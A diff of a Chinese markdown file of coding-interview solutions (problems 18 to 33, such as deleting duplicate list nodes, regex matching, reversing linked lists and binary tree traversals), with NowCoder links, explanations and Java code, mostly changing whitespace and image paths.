 [NowCoder](https://www.nowcoder.com/practice/fc533c45b73a41b0b44ccba763f866ef?tpId=13&tqId=11209&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<div align="center"> <img src="pics/8433fbb2-c35c-45ef-831d-e3ca42aebd51.png" width="500"/> </div><br>
+<img src="index_files/8433fbb2-c35c-45ef-831d-e3ca42aebd51.png" width="500"/>
 
-## 解题描述
+## 解题描述
 
 ```java
-public ListNode deleteDuplication(ListNode pHead) {
-    if (pHead == null || pHead.next == null)
-        return pHead;
-    ListNode next = pHead.next;
-    if (pHead.val == next.val) {
-        while (next != null && pHead.val == next.val)
-            next = next.next;
-        return deleteDuplication(next);
-    } else {
-        pHead.next = deleteDuplication(pHead.next);
-        return pHead;
-    }
+public ListNode deleteDuplication(ListNode pHead) {
+    if (pHead == null || pHead.next == null)
+        return pHead;
+    ListNode next = pHead.next;
+    if (pHead.val == next.val) {
+        while (next != null && pHead.val == next.val)
+            next = next.next;
+        return deleteDuplication(next);
+    } else {
+        pHead.next = deleteDuplication(pHead.next);
+        return pHead;
+    }
 }
 ```
 
-# 19. 正则表达式匹配
+# 19. 正则表达式匹配
 
 [NowCoder](https://www.nowcoder.com/practice/45327ae22b7b413ea21df13ee7d6429c?tpId=13&tqId=11205&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-请实现一个函数用来匹配包括 '.' 和 '\*' 的正则表达式。模式中的字符 '.' 表示任意一个字符，而 '\*' 表示它前面的字符可以出现任意次（包含 0 次）。
+请实现一个函数用来匹配包括 '.' 和 '\*' 的正则表达式。模式中的字符 '.' 表示任意一个字符，而 '\*' 表示它前面的字符可以出现任意次（包含 0 次）。
 
-在本题中，匹配是指字符串的所有字符匹配整个模式。例如，字符串 "aaa" 与模式 "a.a" 和 "ab\*ac\*a" 匹配，但是与 "aa.a" 和 "ab\*a" 均不匹配。
+在本题中，匹配是指字符串的所有字符匹配整个模式。例如，字符串 "aaa" 与模式 "a.a" 和 "ab\*ac\*a" 匹配，但是与 "aa.a" 和 "ab\*a" 均不匹配。
 
-## 解题思路
+## 解题思路
 
-应该注意到，'.' 是用来当做一个任意字符，而 '\*' 是用来重复前面的字符。这两个的作用不同，不能把 '.' 的作用和 '\*' 进行类比，从而把它当成重复前面字符一次。
+应该注意到，'.' 是用来当做一个任意字符，而 '\*' 是用来重复前面的字符。这两个的作用不同，不能把 '.' 的作用和 '\*' 进行类比，从而把它当成重复前面字符一次。
 
 ```java
-public boolean match(char[] str, char[] pattern) {
+public boolean match(char[] str, char[] pattern) {
 
-    int m = str.length, n = pattern.length;
-    boolean[][] dp = new boolean[m + 1][n + 1];
+    int m = str.length, n = pattern.length;
+    boolean[][] dp = new boolean[m + 1][n + 1];
 
-    dp[0][0] = true;
-    for (int i = 1; i <= n; i++)
-        if (pattern[i - 1] == '*')
-            dp[0][i] = dp[0][i - 2];
+    dp[0][0] = true;
+    for (int i = 1; i <= n; i++)
+        if (pattern[i - 1] == '*')
+            dp[0][i] = dp[0][i - 2];
 
-    for (int i = 1; i <= m; i++)
-        for (int j = 1; j <= n; j++)
-            if (str[i - 1] == pattern[j - 1] || pattern[j - 1] == '.')
-                dp[i][j] = dp[i - 1][j - 1];
-            else if (pattern[j - 1] == '*')
-                if (pattern[j - 2] == str[i - 1] || pattern[j - 2] == '.') {
-                    dp[i][j] |= dp[i][j - 1]; // a* counts as single a
-                    dp[i][j] |= dp[i - 1][j]; // a* counts as multiple a
-                    dp[i][j] |= dp[i][j - 2]; // a* counts as empty
-                } else
-                    dp[i][j] = dp[i][j - 2];   // a* only counts as empty
+    for (int i = 1; i <= m; i++)
+        for (int j = 1; j <= n; j++)
+            if (str[i - 1] == pattern[j - 1] || pattern[j - 1] == '.')
+                dp[i][j] = dp[i - 1][j - 1];
+            else if (pattern[j - 1] == '*')
+                if (pattern[j - 2] == str[i - 1] || pattern[j - 2] == '.') {
+                    dp[i][j] |= dp[i][j - 1]; // a* counts as single a
+                    dp[i][j] |= dp[i - 1][j]; // a* counts as multiple a
+                    dp[i][j] |= dp[i][j - 2]; // a* counts as empty
+                } else
+                    dp[i][j] = dp[i][j - 2];   // a* only counts as empty
 
-    return dp[m][n];
+    return dp[m][n];
 }
 ```
 
-# 20. 表示数值的字符串
+# 20. 表示数值的字符串
 
 [NowCoder](https://www.nowcoder.com/practice/6f8c901d091949a5837e24bb82a731f2?tpId=13&tqId=11206&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 ```html
 true
@@ -1093,1572 +1008,1572 @@ false
 ```
 
 
-## 解题思路
+## 解题思路
 
 使用正则表达式进行匹配。
 
 ```html
-[]  ： 字符集合
-()  ： 分组
-?   ： 重复 0 ~ 1
-+   ： 重复 1 ~ n
-*   ： 重复 0 ~ n
-.   ： 任意字符
-\\. ： 转义后的 .
-\\d ： 数字
+[]  ： 字符集合
+()  ： 分组
+?   ： 重复 0 ~ 1
++   ： 重复 1 ~ n
+*   ： 重复 0 ~ n
+.   ： 任意字符
+\\. ： 转义后的 .
+\\d ： 数字
 ```
 
 ```java
-public boolean isNumeric(char[] str) {
-    if (str == null || str.length == 0)
-        return false;
-    return new String(str).matches("[+-]?\\d*(\\.\\d+)?([eE][+-]?\\d+)?");
+public boolean isNumeric(char[] str) {
+    if (str == null || str.length == 0)
+        return false;
+    return new String(str).matches("[+-]?\\d*(\\.\\d+)?([eE][+-]?\\d+)?");
 }
 ```
 
-# 21. 调整数组顺序使奇数位于偶数前面
+# 21. 调整数组顺序使奇数位于偶数前面
 
 [NowCoder](https://www.nowcoder.com/practice/beb5aa231adc45b2a5dcc5b62c93f593?tpId=13&tqId=11166&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 需要保证奇数和奇数，偶数和偶数之间的相对位置不变，这和书本不太一样。
 
-## 解题思路
+## 解题思路
 
 ```java
-public void reOrderArray(int[] nums) {
-    // 奇数个数
-    int oddCnt = 0;
-    for (int val : nums)
-        if (val % 2 == 1)
-            oddCnt++;
-    int[] copy = nums.clone();
-    int i = 0, j = oddCnt;
-    for (int num : copy) {
-        if (num % 2 == 1)
-            nums[i++] = num;
-        else
-            nums[j++] = num;
-    }
+public void reOrderArray(int[] nums) {
+    // 奇数个数
+    int oddCnt = 0;
+    for (int val : nums)
+        if (val % 2 == 1)
+            oddCnt++;
+    int[] copy = nums.clone();
+    int i = 0, j = oddCnt;
+    for (int num : copy) {
+        if (num % 2 == 1)
+            nums[i++] = num;
+        else
+            nums[j++] = num;
+    }
 }
 ```
 
-# 22. 链表中倒数第 K 个结点
+# 22. 链表中倒数第 K 个结点
 
 [NowCoder](https://www.nowcoder.com/practice/529d3ae5a407492994ad2a246518148a?tpId=13&tqId=11167&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
-设链表的长度为 N。设两个指针 P1 和 P2，先让 P1 移动 K 个节点，则还有 N - K 个节点可以移动。此时让 P1 和 P2 同时移动，可以知道当 P1 移动到链表结尾时，P2 移动到 N - K 个节点处，该位置就是倒数第 K 个节点。
+设链表的长度为 N。设两个指针 P1 和 P2，先让 P1 移动 K 个节点，则还有 N - K 个节点可以移动。此时让 P1 和 P2 同时移动，可以知道当 P1 移动到链表结尾时，P2 移动到 N - K 个节点处，该位置就是倒数第 K 个节点。
 
-<div align="center"> <img src="pics/ea2304ce-268b-4238-9486-4d8f8aea8ca4.png" width="500"/> </div><br>
+<img src="index_files/ea2304ce-268b-4238-9486-4d8f8aea8ca4.png" width="500"/>
 
 ```java
-public ListNode FindKthToTail(ListNode head, int k) {
-    if (head == null)
-        return null;
-    ListNode P1 = head;
-    while (P1 != null && k-- > 0)
-        P1 = P1.next;
-    if (k > 0)
-        return null;
-    ListNode P2 = head;
-    while (P1 != null) {
-        P1 = P1.next;
-        P2 = P2.next;
-    }
-    return P2;
+public ListNode FindKthToTail(ListNode head, int k) {
+    if (head == null)
+        return null;
+    ListNode P1 = head;
+    while (P1 != null && k-- > 0)
+        P1 = P1.next;
+    if (k > 0)
+        return null;
+    ListNode P2 = head;
+    while (P1 != null) {
+        P1 = P1.next;
+        P2 = P2.next;
+    }
+    return P2;
 }
 ```
 
-# 23. 链表中环的入口结点
+# 23. 链表中环的入口结点
 
 [NowCoder](https://www.nowcoder.com/practice/253d2c59ec3e4bc68da16833f79a38e4?tpId=13&tqId=11208&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 一个链表中包含环，请找出该链表的环的入口结点。要求不能使用额外的空间。
 
-## 解题思路
+## 解题思路
 
-使用双指针，一个指针 fast 每次移动两个节点，一个指针 slow 每次移动一个节点。因为存在环，所以两个指针必定相遇在环中的某个节点上。假设相遇点在下图的 z1 位置，此时 fast 移动的节点数为 x+2y+z，slow 为 x+y，由于 fast 速度比 slow 快一倍，因此 x+2y+z=2(x+y)，得到 x=z。
+使用双指针，一个指针 fast 每次移动两个节点，一个指针 slow 每次移动一个节点。因为存在环，所以两个指针必定相遇在环中的某个节点上。假设相遇点在下图的 z1 位置，此时 fast 移动的节点数为 x+2y+z，slow 为 x+y，由于 fast 速度比 slow 快一倍，因此 x+2y+z=2(x+y)，得到 x=z。
 
-在相遇点，slow 要到环的入口点还需要移动 z 个节点，如果让 fast 重新从头开始移动，并且速度变为每次移动一个节点，那么它到环入口点还需要移动 x 个节点。在上面已经推导出 x=z，因此 fast 和 slow 将在环入口点相遇。
+在相遇点，slow 要到环的入口点还需要移动 z 个节点，如果让 fast 重新从头开始移动，并且速度变为每次移动一个节点，那么它到环入口点还需要移动 x 个节点。在上面已经推导出 x=z，因此 fast 和 slow 将在环入口点相遇。
 
-<div align="center"> <img src="pics/d5d3b7ae-2712-412e-98f1-633ce6ec5955.png" width="500"/> </div><br>
+<img src="index_files/d5d3b7ae-2712-412e-98f1-633ce6ec5955.png" width="500"/>
 
 
 ```java
-public ListNode EntryNodeOfLoop(ListNode pHead) {
-    if (pHead == null || pHead.next == null)
-        return null;
-    ListNode slow = pHead, fast = pHead;
-    do {
-        fast = fast.next.next;
-        slow = slow.next;
-    } while (slow != fast);
-    fast = pHead;
-    while (slow != fast) {
-        slow = slow.next;
-        fast = fast.next;
-    }
-    return slow;
+public ListNode EntryNodeOfLoop(ListNode pHead) {
+    if (pHead == null || pHead.next == null)
+        return null;
+    ListNode slow = pHead, fast = pHead;
+    do {
+        fast = fast.next.next;
+        slow = slow.next;
+    } while (slow != fast);
+    fast = pHead;
+    while (slow != fast) {
+        slow = slow.next;
+        fast = fast.next;
+    }
+    return slow;
 }
 ```
 
-# 24. 反转链表
+# 24. 反转链表
 
 [NowCoder](https://www.nowcoder.com/practice/75e878df47f24fdc9dc3e400ec6058ca?tpId=13&tqId=11168&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
-### 递归
+### 递归
 
 ```java
-public ListNode ReverseList(ListNode head) {
-    if (head == null || head.next == null)
-        return head;
-    ListNode next = head.next;
-    head.next = null;
-    ListNode newHead = ReverseList(next);
-    next.next = head;
-    return newHead;
+public ListNode ReverseList(ListNode head) {
+    if (head == null || head.next == null)
+        return head;
+    ListNode next = head.next;
+    head.next = null;
+    ListNode newHead = ReverseList(next);
+    next.next = head;
+    return newHead;
 }
 ```
 
-### 迭代
+### 迭代
 
 ```java
-public ListNode ReverseList(ListNode head) {
-    ListNode newList = new ListNode(-1);
-    while (head != null) {
-        ListNode next = head.next;
-        head.next = newList.next;
-        newList.next = head;
-        head = next;
-    }
-    return newList.next;
+public ListNode ReverseList(ListNode head) {
+    ListNode newList = new ListNode(-1);
+    while (head != null) {
+        ListNode next = head.next;
+        head.next = newList.next;
+        newList.next = head;
+        head = next;
+    }
+    return newList.next;
 }
 ```
 
-# 25. 合并两个排序的链表
+# 25. 合并两个排序的链表
 
 [NowCoder](https://www.nowcoder.com/practice/d8b6b4358f774294a89de2a6ac4d9337?tpId=13&tqId=11169&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<div align="center"> <img src="pics/43f2cafa-3568-4a89-a895-4725666b94a6.png" width="500"/> </div><br>
+<img src="index_files/43f2cafa-3568-4a89-a895-4725666b94a6.png" width="500"/>
 
-## 解题思路
+## 解题思路
 
-### 递归
+### 递归
 
 ```java
-public ListNode Merge(ListNode list1, ListNode list2) {
-    if (list1 == null)
-        return list2;
-    if (list2 == null)
-        return list1;
-    if (list1.val <= list2.val) {
-        list1.next = Merge(list1.next, list2);
-        return list1;
-    } else {
-        list2.next = Merge(list1, list2.next);
-        return list2;
-    }
+public ListNode Merge(ListNode list1, ListNode list2) {
+    if (list1 == null)
+        return list2;
+    if (list2 == null)
+        return list1;
+    if (list1.val <= list2.val) {
+        list1.next = Merge(list1.next, list2);
+        return list1;
+    } else {
+        list2.next = Merge(list1, list2.next);
+        return list2;
+    }
 }
 ```
 
-### 迭代
+### 迭代
 
 ```java
-public ListNode Merge(ListNode list1, ListNode list2) {
-    ListNode head = new ListNode(-1);
-    ListNode cur = head;
-    while (list1 != null && list2 != null) {
-        if (list1.val <= list2.val) {
-            cur.next = list1;
-            list1 = list1.next;
-        } else {
-            cur.next = list2;
-            list2 = list2.next;
-        }
-        cur = cur.next;
-    }
-    if (list1 != null)
-        cur.next = list1;
-    if (list2 != null)
-        cur.next = list2;
-    return head.next;
+public ListNode Merge(ListNode list1, ListNode list2) {
+    ListNode head = new ListNode(-1);
+    ListNode cur = head;
+    while (list1 != null && list2 != null) {
+        if (list1.val <= list2.val) {
+            cur.next = list1;
+            list1 = list1.next;
+        } else {
+            cur.next = list2;
+            list2 = list2.next;
+        }
+        cur = cur.next;
+    }
+    if (list1 != null)
+        cur.next = list1;
+    if (list2 != null)
+        cur.next = list2;
+    return head.next;
 }
 ```
 
-# 26. 树的子结构
+# 26. 树的子结构
 
 [NowCoder](https://www.nowcoder.com/practice/6e196c44c7004d15b1610b9afca8bd88?tpId=13&tqId=11170&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<div align="center"> <img src="pics/4583e24f-424b-4d50-8a14-2c38a1827d4a.png" width="500"/> </div><br>
+<img src="index_files/4583e24f-424b-4d50-8a14-2c38a1827d4a.png" width="500"/>
 
-## 解题思路
+## 解题思路
 
 ```java
-public boolean HasSubtree(TreeNode root1, TreeNode root2) {
-    if (root1 == null || root2 == null)
-        return false;
-    return isSubtreeWithRoot(root1, root2) || HasSubtree(root1.left, root2) || HasSubtree(root1.right, root2);
+public boolean HasSubtree(TreeNode root1, TreeNode root2) {
+    if (root1 == null || root2 == null)
+        return false;
+    return isSubtreeWithRoot(root1, root2) || HasSubtree(root1.left, root2) || HasSubtree(root1.right, root2);
 }
 
-private boolean isSubtreeWithRoot(TreeNode root1, TreeNode root2) {
-    if (root2 == null)
-        return true;
-    if (root1 == null)
-        return false;
-    if (root1.val != root2.val)
-        return false;
-    return isSubtreeWithRoot(root1.left, root2.left) && isSubtreeWithRoot(root1.right, root2.right);
+private boolean isSubtreeWithRoot(TreeNode root1, TreeNode root2) {
+    if (root2 == null)
+        return true;
+    if (root1 == null)
+        return false;
+    if (root1.val != root2.val)
+        return false;
+    return isSubtreeWithRoot(root1.left, root2.left) && isSubtreeWithRoot(root1.right, root2.right);
 }
 ```
 
-# 27. 二叉树的镜像
+# 27. 二叉树的镜像
 
 [NowCoder](https://www.nowcoder.com/practice/564f4c26aa584921bc75623e48ca3011?tpId=13&tqId=11171&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<div align="center"> <img src="pics/a2d13178-f1ef-4811-a240-1fe95b55b1eb.png" width="300"/> </div><br>
+<img src="index_files/a2d13178-f1ef-4811-a240-1fe95b55b1eb.png" width="300"/>
 
-## 解题思路
+## 解题思路
 
 ```java
-public void Mirror(TreeNode root) {
-    if (root == null)
-        return;
-    swap(root);
-    Mirror(root.left);
-    Mirror(root.right);
+public void Mirror(TreeNode root) {
+    if (root == null)
+        return;
+    swap(root);
+    Mirror(root.left);
+    Mirror(root.right);
 }
 
-private void swap(TreeNode root) {
-    TreeNode t = root.left;
-    root.left = root.right;
-    root.right = t;
+private void swap(TreeNode root) {
+    TreeNode t = root.left;
+    root.left = root.right;
+    root.right = t;
 }
 ```
 
-# 28 对称的二叉树
+# 28 对称的二叉树
 
 [NowCder](https://www.nowcoder.com/practice/ff05d44dfdb04e1d83bdbdab320efbcb?tpId=13&tqId=11211&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<div align="center"> <img src="pics/f42443e0-208d-41ea-be44-c7fd97d2e3bf.png" width="300"/> </div><br>
+<img src="index_files/f42443e0-208d-41ea-be44-c7fd97d2e3bf.png" width="300"/>
 
-## 解题思路
+## 解题思路
 
 ```java
-boolean isSymmetrical(TreeNode pRoot) {
-    if (pRoot == null)
-        return true;
-    return isSymmetrical(pRoot.left, pRoot.right);
+boolean isSymmetrical(TreeNode pRoot) {
+    if (pRoot == null)
+        return true;
+    return isSymmetrical(pRoot.left, pRoot.right);
 }
 
-boolean isSymmetrical(TreeNode t1, TreeNode t2) {
-    if (t1 == null && t2 == null)
-        return true;
-    if (t1 == null || t2 == null)
-        return false;
-    if (t1.val != t2.val)
-        return false;
-    return isSymmetrical(t1.left, t2.right) && isSymmetrical(t1.right, t2.left);
+boolean isSymmetrical(TreeNode t1, TreeNode t2) {
+    if (t1 == null && t2 == null)
+        return true;
+    if (t1 == null || t2 == null)
+        return false;
+    if (t1.val != t2.val)
+        return false;
+    return isSymmetrical(t1.left, t2.right) && isSymmetrical(t1.right, t2.left);
 }
 ```
 
-# 29. 顺时针打印矩阵
+# 29. 顺时针打印矩阵
 
 [NowCoder](https://www.nowcoder.com/practice/9b4c81a02cd34f76be2659fa0d54342a?tpId=13&tqId=11172&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-下图的矩阵顺时针打印结果为：1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9, 5, 6, 7, 11, 10
+下图的矩阵顺时针打印结果为：1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9, 5, 6, 7, 11, 10
 
-<div align="center"> <img src="pics/6539b9a4-2b24-4d10-8c94-2eb5aba1e296.png" width="300"/> </div><br>
+<img src="index_files/6539b9a4-2b24-4d10-8c94-2eb5aba1e296.png" width="300"/>
 
-## 解题思路
+## 解题思路
 
 ```java
-public ArrayList<Integer> printMatrix(int[][] matrix) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    int r1 = 0, r2 = matrix.length - 1, c1 = 0, c2 = matrix[0].length - 1;
-    while (r1 <= r2 && c1 <= c2) {
-        for (int i = c1; i <= c2; i++)
-            ret.add(matrix[r1][i]);
-        for (int i = r1 + 1; i <= r2; i++)
-            ret.add(matrix[i][c2]);
-        if (r1 != r2)
-            for (int i = c2 - 1; i >= c1; i--)
-                ret.add(matrix[r2][i]);
-        if (c1 != c2)
-            for (int i = r2 - 1; i > r1; i--)
-                ret.add(matrix[i][c1]);
-        r1++; r2--; c1++; c2--;
-    }
-    return ret;
+public ArrayList<Integer> printMatrix(int[][] matrix) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    int r1 = 0, r2 = matrix.length - 1, c1 = 0, c2 = matrix[0].length - 1;
+    while (r1 <= r2 && c1 <= c2) {
+        for (int i = c1; i <= c2; i++)
+            ret.add(matrix[r1][i]);
+        for (int i = r1 + 1; i <= r2; i++)
+            ret.add(matrix[i][c2]);
+        if (r1 != r2)
+            for (int i = c2 - 1; i >= c1; i--)
+                ret.add(matrix[r2][i]);
+        if (c1 != c2)
+            for (int i = r2 - 1; i > r1; i--)
+                ret.add(matrix[i][c1]);
+        r1++; r2--; c1++; c2--;
+    }
+    return ret;
 }
 ```
 
-# 30. 包含 min 函数的栈
+# 30. 包含 min 函数的栈
 
 [NowCoder](https://www.nowcoder.com/practice/4c776177d2c04c2494f2555c9fcc1e49?tpId=13&tqId=11173&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-定义栈的数据结构，请在该类型中实现一个能够得到栈最小元素的 min 函数。
+定义栈的数据结构，请在该类型中实现一个能够得到栈最小元素的 min 函数。
 
-## 解题思路
+## 解题思路
 
 ```java
-private Stack<Integer> dataStack = new Stack<>();
-private Stack<Integer> minStack = new Stack<>();
+private Stack<Integer> dataStack = new Stack<>();
+private Stack<Integer> minStack = new Stack<>();
 
-public void push(int node) {
-    dataStack.push(node);
-    minStack.push(minStack.isEmpty() ? node : Math.min(minStack.peek(), node));
+public void push(int node) {
+    dataStack.push(node);
+    minStack.push(minStack.isEmpty() ? node : Math.min(minStack.peek(), node));
 }
 
-public void pop() {
-    dataStack.pop();
-    minStack.pop();
+public void pop() {
+    dataStack.pop();
+    minStack.pop();
 }
 
-public int top() {
-    return dataStack.peek();
+public int top() {
+    return dataStack.peek();
 }
 
-public int min() {
-    return minStack.peek();
+public int min() {
+    return minStack.peek();
 }
 ```
 
-# 31. 栈的压入、弹出序列
+# 31. 栈的压入、弹出序列
 
 [NowCoder](https://www.nowcoder.com/practice/d77d11405cc7470d82554cb392585106?tpId=13&tqId=11174&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 输入两个整数序列，第一个序列表示栈的压入顺序，请判断第二个序列是否为该栈的弹出顺序。假设压入栈的所有数字均不相等。
 
-例如序列 1,2,3,4,5 是某栈的压入顺序，序列 4,5,3,2,1 是该压栈序列对应的一个弹出序列，但 4,3,5,1,2 就不可能是该压栈序列的弹出序列。
+例如序列 1,2,3,4,5 是某栈的压入顺序，序列 4,5,3,2,1 是该压栈序列对应的一个弹出序列，但 4,3,5,1,2 就不可能是该压栈序列的弹出序列。
 
-## 解题思路
+## 解题思路
 
 使用一个栈来模拟压入弹出操作。
 
 ```java
-public boolean IsPopOrder(int[] pushSequence, int[] popSequence) {
-    int n = pushSequence.length;
-    Stack<Integer> stack = new Stack<>();
-    for (int pushIndex = 0, popIndex = 0; pushIndex < n; pushIndex++) {
-        stack.push(pushSequence[pushIndex]);
-        while (popIndex < n && !stack.isEmpty() 
-                && stack.peek() == popSequence[popIndex]) {
-            stack.pop();
-            popIndex++;
-        }
-    }
-    return stack.isEmpty();
+public boolean IsPopOrder(int[] pushSequence, int[] popSequence) {
+    int n = pushSequence.length;
+    Stack<Integer> stack = new Stack<>();
+    for (int pushIndex = 0, popIndex = 0; pushIndex < n; pushIndex++) {
+        stack.push(pushSequence[pushIndex]);
+        while (popIndex < n && !stack.isEmpty() 
+                && stack.peek() == popSequence[popIndex]) {
+            stack.pop();
+            popIndex++;
+        }
+    }
+    return stack.isEmpty();
 }
 ```
 
-# 32.1 从上往下打印二叉树
+# 32.1 从上往下打印二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/7fe2212963db4790b57431d9ed259701?tpId=13&tqId=11175&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 从上往下打印出二叉树的每个节点，同层节点从左至右打印。
 
 例如，以下二叉树层次遍历的结果为：1,2,3,4,5,6,7
 
-<div align="center"> <img src="pics/348bc2db-582e-4aca-9f88-38c40e9a0e69.png" width="250"/> </div><br>
+<img src="index_files/348bc2db-582e-4aca-9f88-38c40e9a0e69.png" width="250"/>
 
-## 解题思路
+## 解题思路
 
 使用队列来进行层次遍历。
 
 不需要使用两个队列分别存储当前层的节点和下一层的节点，因为在开始遍历一层的节点时，当前队列中的节点数就是当前层的节点数，只要控制遍历这么多节点数，就能保证这次遍历的都是当前层的节点。
 
 ```java
-public ArrayList<Integer> PrintFromTopToBottom(TreeNode root) {
-    Queue<TreeNode> queue = new LinkedList<>();
-    ArrayList<Integer> ret = new ArrayList<>();
-    queue.add(root);
-    while (!queue.isEmpty()) {
-        int cnt = queue.size();
-        while (cnt-- > 0) {
-            TreeNode t = queue.poll();
-            if (t == null)
-                continue;
-            ret.add(t.val);
-            queue.add(t.left);
-            queue.add(t.right);
-        }
-    }
-    return ret;
+public ArrayList<Integer> PrintFromTopToBottom(TreeNode root) {
+    Queue<TreeNode> queue = new LinkedList<>();
+    ArrayList<Integer> ret = new ArrayList<>();
+    queue.add(root);
+    while (!queue.isEmpty()) {
+        int cnt = queue.size();
+        while (cnt-- > 0) {
+            TreeNode t = queue.poll();
+            if (t == null)
+                continue;
+            ret.add(t.val);
+            queue.add(t.left);
+            queue.add(t.right);
+        }
+    }
+    return ret;
 }
 ```
 
-# 32.2 把二叉树打印成多行
+# 32.2 把二叉树打印成多行
 
 [NowCoder](https://www.nowcoder.com/practice/445c44d982d04483b04a54f298796288?tpId=13&tqId=11213&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 和上题几乎一样。
 
-## 解题思路
+## 解题思路
 
 ```java
-ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
-    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
-    Queue<TreeNode> queue = new LinkedList<>();
-    queue.add(pRoot);
-    while (!queue.isEmpty()) {
-        ArrayList<Integer> list = new ArrayList<>();
-        int cnt = queue.size();
-        while (cnt-- > 0) {
-            TreeNode node = queue.poll();
-            if (node == null)
-                continue;
-            list.add(node.val);
-            queue.add(node.left);
-            queue.add(node.right);
-        }
-        if (list.size() != 0)
-            ret.add(list);
-    }
-    return ret;
+ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
+    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
+    Queue<TreeNode> queue = new LinkedList<>();
+    queue.add(pRoot);
+    while (!queue.isEmpty()) {
+        ArrayList<Integer> list = new ArrayList<>();
+        int cnt = queue.size();
+        while (cnt-- > 0) {
+            TreeNode node = queue.poll();
+            if (node == null)
+                continue;
+            list.add(node.val);
+            queue.add(node.left);
+            queue.add(node.right);
+        }
+        if (list.size() != 0)
+            ret.add(list);
+    }
+    return ret;
 }
 ```
 
-# 32.3 按之字形顺序打印二叉树
+# 32.3 按之字形顺序打印二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/91b69814117f4e8097390d107d2efbe0?tpId=13&tqId=11212&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 请实现一个函数按照之字形打印二叉树，即第一行按照从左到右的顺序打印，第二层按照从右至左的顺序打印，第三行按照从左到右的顺序打印，其他行以此类推。
 
-## 解题思路
+## 解题思路
 
 ```java
-public ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
-    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
-    Queue<TreeNode> queue = new LinkedList<>();
-    queue.add(pRoot);
-    boolean reverse = false;
-    while (!queue.isEmpty()) {
-        ArrayList<Integer> list = new ArrayList<>();
-        int cnt = queue.size();
-        while (cnt-- > 0) {
-            TreeNode node = queue.poll();
-            if (node == null)
-                continue;
-            list.add(node.val);
-            queue.add(node.left);
-            queue.add(node.right);
-        }
-        if (reverse)
-            Collections.reverse(list);
-        reverse = !reverse;
-        if (list.size() != 0)
-            ret.add(list);
-    }
-    return ret;
+public ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
+    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
+    Queue<TreeNode> queue = new LinkedList<>();
+    queue.add(pRoot);
+    boolean reverse = false;
+    while (!queue.isEmpty()) {
+        ArrayList<Integer> list = new ArrayList<>();
+        int cnt = queue.size();
+        while (cnt-- > 0) {
+            TreeNode node = queue.poll();
+            if (node == null)
+                continue;
+            list.add(node.val);
+            queue.add(node.left);
+            queue.add(node.right);
+        }
+        if (reverse)
+            Collections.reverse(list);
+        reverse = !reverse;
+        if (list.size() != 0)
+            ret.add(list);
+    }
+    return ret;
 }
 ```
 
-# 33. 二叉搜索树的后序遍历序列
+# 33. 二叉搜索树的后序遍历序列
 
 [NowCoder](https://www.nowcoder.com/practice/a861533d45854474ac791d90e447bafd?tpId=13&tqId=11176&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 输入一个整数数组，判断该数组是不是某二叉搜索树的后序遍历的结果。假设输入的数组的任意两个数字都互不相同。
 
-例如，下图是后序遍历序列 1,3,2 所对应的二叉搜索树。
+例如，下图是后序遍历序列 1,3,2 所对应的二叉搜索树。
 
-<div align="center"> <img src="pics/836a4eaf-4798-4e48-b52a-a3dab9435ace.png" width="150"/> </div><br>
+<img src="index_files/836a4eaf-4798-4e48-b52a-a3dab9435ace.png" width="150"/>
 
-## 解题思路
+## 解题思路
 
 ```java
-public boolean VerifySquenceOfBST(int[] sequence) {
-    if (sequence == null || sequence.length == 0)
-        return false;
-    return verify(sequence, 0, sequence.length - 1);
+public boolean VerifySquenceOfBST(int[] sequence) {
+    if (sequence == null || sequence.length == 0)
+        return false;
+    return verify(sequence, 0, sequence.length - 1);
 }
 
-private boolean verify(int[] sequence, int first, int last) {
